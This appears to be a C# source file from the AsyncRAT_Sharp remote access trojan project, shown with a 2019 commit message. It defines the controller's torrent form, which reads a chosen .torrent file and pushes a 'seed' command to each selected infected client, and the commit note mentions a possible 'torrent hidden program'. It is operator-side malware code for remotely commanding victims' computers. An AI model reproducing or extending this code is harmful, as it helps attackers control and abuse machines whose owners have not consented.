NYAN CAT a503e7d450 Added seed torrent
Might add torrent hidden program.
2019-05-23 03:51:13 +03:00

62 lines
1.8 KiB
C#

using AsyncRAT_Sharp.MessagePack;
using AsyncRAT_Sharp.Sockets;
using System;
using System.Collections.Generic;
using System.ComponentModel;
using System.Data;
using System.Drawing;
using System.IO;
using System.Linq;
using System.Text;
using System.Threading;
using System.Threading.Tasks;
using System.Windows.Forms;
namespace AsyncRAT_Sharp.Forms
{
public partial class FormTorrent : Form
{
private bool isOk = false;
public FormTorrent()
{
InitializeComponent();
}
private void Button1_Click(object sender, EventArgs e)
{
OpenFileDialog openFileDialog = new OpenFileDialog();
openFileDialog.Filter = "(*.torrent)|*.torrent";
if (openFileDialog.ShowDialog() == DialogResult.OK)
{
textBox1.Text = openFileDialog.FileName;
isOk = true;
}
else
{
textBox1.Text = "";
isOk = false;
}
}
private void Button3_Click(object sender, EventArgs e)
{
this.Close();
}
private void Button2_Click(object sender, EventArgs e)
{
if (!isOk) return;
MsgPack msgpack = new MsgPack();
msgpack.ForcePathObject("Packet").AsString = "torrent";
msgpack.ForcePathObject("Option").AsString = "seed";
msgpack.ForcePathObject("File").SetAsBytes(File.ReadAllBytes(textBox1.Text));
foreach (ListViewItem itm in Program.form1.listView1.SelectedItems)
{
Clients client = (Clients)itm.Tag;
ThreadPool.QueueUserWorkItem(client.Send, msgpack.Encode2Bytes());
}
this.Close();
}
}
}